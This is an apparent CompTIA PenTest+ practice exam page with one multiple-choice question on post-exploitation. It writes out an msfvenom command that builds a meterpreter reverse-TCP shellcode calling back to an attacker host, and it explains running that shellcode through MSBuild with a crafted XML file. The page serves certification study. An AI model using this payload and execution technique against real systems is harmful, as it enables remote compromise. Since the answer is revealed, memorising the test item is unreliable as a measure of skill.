PT0-003: CompTIA PenTest+Demo

By CompTIA · Question Mode

QuestionQ245

Post-exploitation and Lateral Movement

A tester intends to perform an attack technique through a compromised host. The tester prepares a payload with the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp

The tester then takes the shellcode from the msfvenom command and creates a file named evil.xml. Which of the following commands would the tester most likely use to continue the attack on the host?

  • A regsvr32 /s /n /u C:\evil.xml
  • B MSBuild.exe C:\evil.xml
  • C mshta.exe C:\evil.xml
  • D AppInstaller.exe C:\evil.xml
Explanation

MSBuild processes XML-based project files and can execute build logic, including C# tasks embedded in a crafted project file. MSBuild does not determine its behavior from the file extension, so it can process an XML file such as C:\evil.xml; this makes it suitable for executing the embedded C# payload.

Learn more

Community Discussion

No comments yet. Be the first to start the discussion!